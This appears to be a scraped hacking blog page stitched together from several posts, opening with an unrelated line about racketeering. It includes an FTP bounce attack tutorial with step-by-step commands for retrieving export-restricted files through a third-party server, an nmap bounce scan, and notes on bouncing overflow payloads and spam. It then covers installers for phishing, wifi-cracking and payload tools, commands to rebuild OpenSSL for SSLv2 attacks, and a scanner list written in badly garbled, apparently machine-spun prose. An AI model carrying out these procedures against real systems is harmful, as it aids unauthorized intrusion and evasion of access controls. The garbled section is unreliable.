I mean seriously… the rest of us have to play fair. They were allegedly running a racketeering operation?
Original post: https://shedly.com/5A4je
Hello hackers, so today we are going to learn how can we attack the internal ftp private servers for a public server which we have exploited earlier to get the login user credentials for FTP port using Brute force with Hydra. This method is known as FTP Bounce attack as we deploy packets which bounce through an intermediate public server to the private victim machine.
You are a user in at a foreign region with IP address F.F.F.F and want to retrieve cryptographic source code from crypto.com in US. The FTP server at crypto.com is set up so as to allow you the connection, but deny the access to the crypto sources because your source IP address is a non-US site [as the FTP server can determine your DNS server]. In any case, you cannot directly retrieve the source code from crypto.com’s server.
However, crypto.com allow ufred.edu to download crypto sources because ufred.edu is of US. It happens you know that incoming data for ufred.edu is a worldwide write-able directory, through which any anonymous user can drop files and read them back. Let us assume that the IP address for Crypto.com’s is C.C.C.C.
Now assuming you have an FTP server that does passive mode. Open an FTP connection to your own machine’s real IP address [not localhost] and log in. Change to a convenient directory that you have the write access to, and then do:
quote "pasv" quote "stor foobar"
Take note of the address and port that are returned from the PASV command, F,F,F,F,X,X. This FTP session will now hang, so background it or flip to another window or something to proceed with the rest of this.
Construct a file containing FTP server commands. Let’s call this file”
instrs". It will look like this:
user ftp pass -anonymous@ cwd /export-restricted-crypto type i port F,F,F,F,X,X retr crypto.tar.Z quit ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ ...
F,F,F,F,X,X is the same address and port that your own machine handed you on the first connection. The trash at the end is extra lines you create, each containing 250 NULLS and nothing else, enough to fill up about 60K of extra data.
Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming. Now type the following into this FTP session, which transfers a copy of your”
instrs” file over and then tells ufred.edu’s FTP server to connect to crypto.com’s FTP server using your file as the commands:
put instrs quote "port C,C,C,C,0,21" quote "retr instrs"
Crypto.tar.Z should now show up as”
foobar” on your machine via your first FTP connection. If the connection to ufred.edu didn’t die by itself due to an apparently common server bug, clean up by deleting “
instrs” and exciting. Otherwise, you’ll have to reconnect to finish.
FTP Bounce Port Scanning
You can use the nmap port scanner in Unix and Windows environments to perform an FTP bounce port scan, using the -P0 and -b flags in the following manner:
nmap -P0 -b username:password@ftp-server:port <target host>
shows an FTP bounce port scan being launched through the Internet-based 18.104.22.168 to scan an internal host at 192.168.0.5, a known address previously enumerated through DNS querying.
FTP bounce scanning with nmap
# nmap -P0 -b 22.214.171.124 192.168.0.5 -p21,22,23,25,80Starting nmap 3.45 ( www.insecure.org/nmap/ )
Interesting ports on (192.168.0.5):
Port State Service
21/tcp open ftp
22/tcp open ssh
23/tcp closed telnet
25/tcp closed smtp
80/tcp open http
Nmap run completed — 1 IP address (1 host up) scanned in 12 seconds
When performing any type of bounce port scan with nmap, you should specify the -P0 option. This will prevent an attacker from probing the target host to ascertain whether it is up.
If you can upload a binary file containing a crafted buffer overflow string to an FTP server that in turn is vulnerable to bounce attack, you can then send that information to a specific service port (either on the local host or other addresses). This concept is shown in Figure 8-2.
For this type of attack to be effective, an attacker needs to authenticate and log into the FTP server, locate a writeable directory, and test to see if the server is susceptible to FTP bounce attack. Solaris 2.6 is an excellent example because in its default state it is vulnerable to FTP bounce and RPC service overflow attacks. Binary exploit data isn’t the only type of payload that can be bounced through a vulnerable FTP server: spammers have also sent an unsolicited email this way.
Despite the fact that such third-party connections are one-way only, they can be used for all kinds of things. Similar methods can be used to post virtually untraceable mail and news, hammer on servers at various sites, fill up disks, try to hop firewalls, and generally be annoying and hard to track down at the same time. A little thought will bring the realisation of numerous other scary possibilities.
Connections launched this way come from source port 20, which some sites allow through their firewalls in an effort to deal with the “ftp-data” problem. For some purposes, this can be the next best thing to source-routed attacks and is likely to succeed where source routeing fails against packet filters. And it’s all made possible by the way the FTP protocol spec was written, allowing control connections to come from anywhere and data connections to go anywhere.
If you like this article kindly rate it and do share. if you have any queries please comment below and let us know how you felt about the article. To know how to find devices on the internet to hack into them read the article on How To Use Shodan For Finding Vulnerable Targets, Information Gathering & Hacking?
Hello hackers, Hope you guys are doing well. so today’s tutorial is for our n00bies and to all those hackers who want to get all tools into a single tools making them type less. This “lscript” tool is a script written by Aris Melachroinos, which allows you to automate penetration testing or hacking easily. It installs all the best tools available until 2017 for Kali Linux.
FEATURES: Custom keyboard shortcuts, launch any tool within lscript Enabling-Disabling interfaces faster Changing Mac faster Anonymizing yourself faster View your public IP faster View your MAC faster **TOOLS** (This installer installs every tool you need automatically! (except Zatacker)) Fluxion by Deltaxflux WifiTe by derv82 Wifiphisher by Dan McInerney Zatacker by ??? Morpheus by Pedro ubuntu [ r00t-3xp10it ] Osrframework by i3visio Hakku by 4shadoww Trity by Toxic-ig Cupp by Muris Kurgas Dracnmap by Edo -maland- Fern Wifi Cracker by Savio-code Kichthemout by Nikolaos Kamarinakis & David Schütz BeeLogger by Alisson Moretto - 4w4k3 Ghost-Phisher by Savio-code Mdk3-master by Musket Developer Anonsurf by Und3rf10w The Eye by EgeBalci Airgeddon by v1s1t0r1sh3r3 Xerxes by zanyarjamal Ezsploit by rand0m1ze Katana framework by PowerScript 4nonimizer by Hackplayers Sslstrip2 by LeonardoNve Dns2proxy by LeonardoNve Pupy by n1nj4sec Zirikatu by pasahitz TheFatRat by Sceetsec Angry IP Scanner by Anton Keks Sniper by 1N3 ReconDog by UltimateHackers RED HAWK by Tuhinshubhra **Wifi password scripts** Handshake (WPA-WPA2) Find WPS pin (WPA-WPA2) WEP hacking (WEP)
This tool is available on Github and follow the simple step to install it
Open up a terminal and navigate to your working directory
Type in the following command "
git clone https://github.com/arismelachroinos/lscript.git" this will attempt to clone the github repository into a single folder named lscript
Now change your directory to the cloned folder from github using this command "cd lscript”
to check for tools type in “9“, it will list available options for Tools as shown in the following screenshot, we can see that we have options for
to list all the available tools which we can install move into Installing tools, this will list all the tools available to us as described above and is shown in the following screenshot.
to list the tools present for us in remote access we check in to remote access and could find the most useful tools for creating payloads to exploit victim as seen in the screenshot:
for wifi hacking, we have many tools as we can see to be listed in the screenshot:
so without wasting your time install this tools, to save you time from typing and being lazy, hope you would like this article, and please comment below if you have any queries regarding the tool or any other topic and do share so that your hacker group can come to know about this awesome tools available publicly on the internet. If you wish to know how to hack Kali Linux read this article How To Hack The Hacker’s OS Kali Linux and if you want to hack your friend with in network then follow the article on How To Hack With Xerosploit
Hello friends, so today we are going to know about a tool RED HAWK, which can be used to gather some information regarding a target and determine some crucial information regarding the hosting information of the company, location, protocols used etc…… these come under Information gathering. It is the most crucial part for any hacker or pentester to perform a hack or simulate a hack. Information gathering mainly consist of
There are many information gathering tools available over GitHub and over the internet out of that many ones is RED HAWK
RED HAWK is one of Best Information gathering tool written in PHP.it’s an all in one tool capable of gathering like Information Gathering (using WHOIS lookup, WordPress, Reverse IP Scanner etc.), SQL Vulnerability Scanning and Crawling.
to know more about information gathering visit this page Information Gathering
To access RED HAWK we need to clone it from Github or download the zip file from GitHub
This will attempt to clone the git repository and will place all the files in the repository into a directory named RED_HAWK of you working directory.
If you have downloaded zip then just extract it and open a terminal in the extracted folder
NOTE: if Scanner Stops Working After CloudFlare Detection! Use The fix Command OR Manually Install php-curl & php-xml
as seen in the below screenshot it does a nmap scan to identify services on ports and find open ports to gather information related to the operating system running, Firewall, Traceroute etc… to know more about nmap scan, please read this article All Nmap tool commands at your fingertips!
it also does a DNS scan related to our target to determine for DNS vulnerabilities and display the subnet available for the target we selected, as we can see that we get information regarding that Facebook usesIPv6 protocol
this tool also determines the geographical location of our target similar to the results of shodan, to know about shodan read this article on How To Use Shodan For Finding Vulnerable Targets, Information Gathering & Hacking?
as mentioned this tool does more than we can imagine. this tool does our work more easy by automating all the required tasks of Information gathering, taking each and every single point of interest regarding our target.
hope you had enjoyed reading this article if you did kindly share to let your hacker friend(s) know that there is a tool which can let his/her work of information gathering more simple and easy giving him/her a plenty of time to plan the attack. If you have any queries regarding the article then do comment below and let us know how you felt reading the article. Thank You.
Ever wondered what will be the consequences if the link that is established between web server and browser is not encrypted one or a secured? Many attacks can happen !!so that is the reason why Secure Socket Layer SSL is used.
By this we can assume like SSL is very secure and hard to hack!! But it is no more!!!
Wanna Know how to hack websites that are even protected by SSL then you shouldn’t miss the article . Let’s get into it.
Secure Sockets Layer (SSL) and Transport Layer Security (TLS), are cryptographic protocols used to provide secure communications across the Internet.
These protocols have been widely used in secure applications like the Internet messaging and e-mail, web browsing, and voice-over-IP.
These protocols are used across the Internet, they were started in the mid of1990s and are increasingly coming under attack. SSL Version 2.0 (Version 1.0 was never publicly released) contains a significant number of flaws that can be exploited, such as poor key and are vulnerable to man-in-the-middleattacks.
Although most users use Version 3.0 protocol and its newer versions of TLS, a misconfiguration can still lead to vulnerability.
Configuring Kali for SSLv2 scanning
Before beginning, verify that Kali has been configured to scan for SSL 2 protocols.
From a terminal window, enter the following command:
root@kali:~# openssl_s_client –connect www.opensecurityresearch.com:443 -ssl2
If this returns an unknown option -ssl2 error, then the additional configuration will be required.
To fix it, following these steps carefully:
root@kali:~# apt-get install devscripts quilt
root@kali:~# apt-get source openssl root@kali:~# cd openssl-1.0.1e root@kali:~/openssl-1.0.1e# quilt pop –a
root@kali:~/openssl-1.0.1e# quilt push -a root@kali:~/openssl-1.0.1e# dch -n 'Allow SSLv2'
root@kali:~/openssl-1.0.1e# dpkg-source --commit root@kali:~/openssl-1.0.1e# debuild -uc -us root@kali:~/openssl-1.0.1e# cd /root root@kali:~# dpkg -i *ssl*.deb
Kali scripts that rely on openssl, particularly sslscan, will need to be recompiled. To recompile, first, download the source and then rebuild it. When this is complete, reinstall it using the following commands:
root@kali:~# apt-get source sslscan root@kali:~# cd sslscan-1.8.2 root@kali:~/sslscan-1.8.2# debuild -uc -us root@kali:~/sslscan-1.8.2# cd /root rootl@kali:~# dpkg -i *sslscan*.deb
The reconnaissance phase remains important when assessing the SSL connectivity, especially when reviewing the following items:
The SSL certificate can provide information which can be used for social Engineering attack. An attacker must check if the certificate is valid or not. Certificates that are invalid may cause an error in the signature.
If the user had previously accepted an invalid certificate, then the victim might accept a new invalid certificate, making the attacker easy.
The type of encryption used to secure an SSL connection is basically divided into the following categories:
SSL and TLS rely on cypher suites to establish a secure connection. There are more than 30 such suites, and the complexity for selecting the best option results in users defaulting to less secure options. Therefore, each SSL and TLC connection must be tested.
To conduct reconnaissance against SSL connections, use the NSE modules of nmap or SSL-specific applications. The nmap NSE modules are described in the following table.
|Nmap NSE module||Module Function|
|ssl-cert||Retrieves the server’s SSL certificate. The amount of information returned depends on the verbosity level (none, -v, and -vv).|
|ssl-date||Retrieves a target host’s date and time from its TLS ServerHello response.|
|ssl-enum-ciphers||Repeatedly initiates SSL and TLS connections, each time trying a new cypher and recording if the host accepts or rejects it. Cyphers are shown with a strong rate. This is a highly intrusive scan and may be blocked by the target.|
|ssl-google-cert-catalog||Queries Google’s Certificate Catalogue for information that pertains to the SSL certificate retrieved from the target. It provides information on how recently, and for how long, Google has been aware of the certificate. If a certificate is not recognised by Google, it may be suspicious/false.|
|ssl-known-key||Checks whether the SSL certificate used by a host has a fingerprint that matches databases of compromised or faulty keys. Presently, it uses the LittleBlackBox database. However, any database of fingerprints can be used.|
|sslv2||Determines whether the server supports the obsolete and less secure SSL Version 2 and which cyphers are supported.|
To invoke a single script from the command line, use the following command:
root@kali:~# nmap --script <script name> -p 443 <Target IP>
In the following example, the ssl-cert script was invoked with the -vv option for maximum verbosity. The data on from this script is shown in the following screenshot
During the reconnaissance, an attacker can launch all SLL modules using the following command:
root@kali:~# nmap --script "ssl*" <IP address>
Kali’s attack tools that are specific to SSL can be invoked from the command line or selected from the menu by navigating to Kali Linux | Information Gathering | SSL Analysis. The tools are mentioned in the table below:
|sslcaudit||Automates the testing of SSL and TLS clients to determine the resistance against man-in-the-middle attacks.|
|Ssldump||Conducts network protocol analysis of SSLv3 and TLS communications. If provided with the appropriate encryption key, it will decrypt SSL traffic and display it in the clear.|
|Sslscan||Queries SSL services to determine which cyphers are supported. Output includes the preferred SSL cyphers and is displayed in text and XML formats.|
|Sslsniff||Enables man-in-the-middle attack conditions on all SSL connections over a particular LAN, dynamically generating certificates for the domains that are being accessed on the fly.|
|Sslsplit||Performs man-in-the-middle attacks against SSL and TLS networks. Connections are transparently intercepted through a network address translation engine and redirected to sslsplit, which terminates the original connection and initiates a new connection to the original destination while logging all the transmitted data. It supports plain TCP, SSL, HTTP/HTTPs, and IPv4 and IPv6.|
|Sslstrip||Designed to transparently hijack the HTTP traffic on a network, watch for HTTPS links, and redirect and then map these links to spoofed HTTP or HTTPS links. It also supports modes to supply a favicon that looks like a lock icon as well as selective logging of intercepted communications.|
|Sslyze||Analyses the SSL configuration of a server.|
|Tlssled||Unifies the use and output of several other SSL-specific applications, checks for encryption strength, certificate parameters, and renegotiation capabilities.|
The most commonly used are sslscan, which queries SSL services in order to determine the certificate details and the cyphers associated. The output is a text or XML formats. When a particular connection, use the –no-failed option, as in the screenshot, to have sslscan show only the accepted cypher suites.
The sslyze Python tool analyses the server’s SSL configuration and validates the certificate, tests for weak cypher suites, and identifies the configuration information that may support additional attacks.
Another SSL reconnaissance tool is tlssled.
These were some key points on Secure Socket Layer SSL reconnaissance for hunting down victim and playing with cyphers….
I hope you all enjoyed reading this article..
Let me know your Experiences in the comment section below
Nothing is impeccable on the planet including Web sites.
Any site might be capable yet certainly have some kind of defects only Vulnerabilities.
Regardless of whether it might be white or dark cap programmer, they should discover vulnerabilities with a specific end goal to hack the site.
we will know how to discover vulnerabilities in this Article, So Let’s Jump into it.
A weakness, in data innovation (IT), is a blemish in code or outline that makes a potential purpose of security bargain for an endpoint or system.
Vulnerabilities make conceivable assault vectors, through which a gatecrasher could run code or get to an objective framework’s memory.
The methods by which vulnerabilities are abused are shifted and incorporate code infusion and support overwhelms they might be led through hacking scripts, applications, and freehand coding.
Vulnerabilities are always being looked into and identified by the security business, programming organizations, digital crooks and different people.
A few organizations offer bug bounties for these disclosures.
Order infusion is a strategy, which enables an aggressor to execute framework orders by manhandling an application include.
The infusion ordinarily happens when the engineer is utilizing client contribution to develop an executable order particularly to the pseudo framework shell being used.
A default login is a sort of login, which is the same for each occasion of the application.
It’s commonly used to allow the first-time access to equipment packaged control boards and organization interfaces.
A Local File Include is a weakness, which enables assailants to recover or execute server-side documents.
The defenselessness emerges by the way that the designer is permitting the not disinfected client provided contribution to be utilized as a part of capacities used to open, read or show the substance of documents.
Remote Code Injection is a powerlessness, which enables an aggressor to remotely infuse code into an application keeping in mind the end goal to change its execution stream.
The issue normally happens because of the way that the application is composed in a dialect, which permits dynamic assessment of code at runtime.
A Remote File Include is a powerlessness, which enables assailants to control the application keeping in mind the end goal to incorporate a remote record facilitated by a third get-together server.
This document might be executable, normally written in a scripting dialect.
SQL Injection is a code infusion method, which misuses a security defenselessness happening in the database layer of a web application.
The helplessness is available when client input is mistakenly sifted for uncommon characters inserted in a SQL explanation and in this way out of the blue executed, i.e. the info was infused into the SQL proclamation issued by the web application.
SQL Injection is a code infusion strategy, which misuses a security helplessness happening in the database layer of a web application.
The helplessness is available when client input is erroneously separated for uncommon characters inserted in a SQL explanation and accordingly startlingly executed, i.e. the info was infused into the SQL explanation issued by the web application.
This happens when the web application creates a session treat, which esteem is effortlessly guessable.
For instance, the session might be founded on UNIX timestamps or only an MD5 of a timestamp, and so on.
LDAP Injection is a Code Injection method utilized against applications, which build LDAP articulation in light of client input.
It is an application convention used to get to and keep up circulated registry administrations like Microsoft‘s Active Directory.
XSS is a kind of web application security powerlessness, which permits code infusion by malevolent web clients into the site pages seen by different clients.
Put away Cross-website Scripting is a kind of XSS where the infused content is for all time put away on to the web server/application.
At whatever point a client asks for a contaminated page from the server the payload is straightforwardly conveyed implanted in the reaction so it will be executed without the need of client intercession.
XSS is a kind of web application security defenselessness, which permits code infusion by pernicious web clients into the website pages seen by different clients.
Reflected Cross-website Scripting is a kind of XSS where the infused code is reflected off the web server.
This sort of XSS is fleeting and requires a phishing vector to be conveyed to the casualty.
CSRF is an assault which constrains an end-client to execute undesirable activities on a web application with which he is at present confirmed.
Applications helpless of this assault have no real way to recognize genuine solicitations from produced ones.
A Cross-Domain Policy File is utilized to authorize a similar starting point strategy in present-day web applications by keeping a few sorts of substance from being gotten to or altered from another space by means of the customer.
An open cross-area is the helplessness, which happens when the arrangement document unequivocally permits each outside space.
Grabber is a pleasant web application scanner which can identify numerous security vulnerabilities in web applications.
It performs outputs and tells where the powerlessness exists.
It can recognize the accompanying vulnerabilities:
Vega is another free open source web powerlessness scanner and testing stage.
With this instrument, you can perform security testing of a web application.
This apparatus is composed in Java and offers a GUI based condition.
It is accessible for OS X, Linux and Windows.
It can be utilized to discover SQL infusion, header infusion, index posting, shell infusion, cross website scripting, record consideration and other web application vulnerabilities.
While working with the apparatus, it gives you a chance to set a couple of inclinations like aggregate number of way relatives, number of tyke ways of a hub, profundity and greatest number of demand every second.
You can utilize Vega Scanner, Vega Proxy, Proxy Scanner and furthermore Scanner with qualifications.
Zed Attack Proxy is otherwise called ZAP.
This instrument is open source and is produced by OWASP.
It is accessible for Windows, Unix/Linux and Macintosh stages
I for one like this instrument. It can be utilized to locate an extensive variety of vulnerabilities in web applications.
Instrument is extremely straightforward and simple to utilize.
Regardless of the possibility that you are new to entrance testing, you can without much of a stretch utilize this apparatus to begin learning infiltration testing of web applications.
To Know Complete Working of ZAP Click Here
Wapiti is likewise a decent web weakness scanner which gives you a chance to review the security of your web applications.
Performs discovery testing by checking pages and infusing information.
It tries to infuse payloads and check whether a script is powerless.
Underpins both GET and POSTHTTP assaults and recognizes various vulnerabilities.
It can distinguish following vulnerabilities:
Wapiti is an order line application.
Along these lines, it may not be simple for learners. In any case, for specialists, it will perform well.
Skipfish is likewise a decent web application security device.
It slithers the site and after that check each pages for different security dangers and toward the end readies the last report.
This device was composed in C.
It is exceedingly advanced for HTTP taking care of and using least CPU.
Guarantees that it can undoubtedly deal with 2000 solicitations for each second without including a heap CPU.
utilizes a heuristics approach while slithering and testing website pages.
This device likewise claims to offer high caliber and less false positives.
This instrument is accessible for Linux, FreeBSD, MacOS X, and Windows.
Ratproxy is additionally an open source web application security review instrument which can be utilized to discover security vulnerabilities in web applications.
It is underpins Linux, FreeBSD, MacOS X, and Windows (Cygwin) conditions.
This device is intended to beat the issues clients normally confront while utilizing other intermediary devices for security reviews.
It likewise underpins SSL man in the center assault, which implies you can likewise observe information going through SSL.
Grendel-Scan is another pleasant open source web application security instrument.
This is a programmed instrument for discovering security vulnerabilities in web applications.
Many elements are likewise accessible for manual entrance testing.
This device is accessible for Windows, Linux and Macintosh.
This device was produced in Java.
X5s is likewise a Fiddler add-on which intends to give an approach to discover cross-site scripting vulnerabilities.
This is not a programmed device.
In this way, you have to see how encoding issues can prompt XSS.
You have to physically discover the infusion point and after that check where XSS can be in the application.
Nikto is an Open Source (GPL) web server scanner which performs far reaching tests against web servers for numerous things, including more than 6700 conceivably perilous documents/programs, checks for obsolete adaptations of more than 1250 servers, and rendition particular issues on more than 270 servers.
It additionally checks for server arrangement things, for example, the nearness of various record documents, HTTP server choices, and will endeavor to distinguish introduced web servers and programming.
Output things and modules are as often as possible refreshed and can be naturally refreshed.
Complete working with Nikto Here
Watcher is an uninvolved web security scanner.
It doesn’t assault with heaps of solicitations or creep the objective site.
It is not a different apparatus but rather is an extra of Fiddler.
So you have to first introduce Fiddler and afterward introduce Watcher to utilize it.
It discreetly examines the demand and reaction from the client communication and afterward makes a provide details regarding the application.
As it is an inactive scanner, it won’t influence the site’s facilitating or cloud framework.
So I Hope this Article Helps You.
Try these Vulnerability scanners and let me know about your experiences in the comment section below.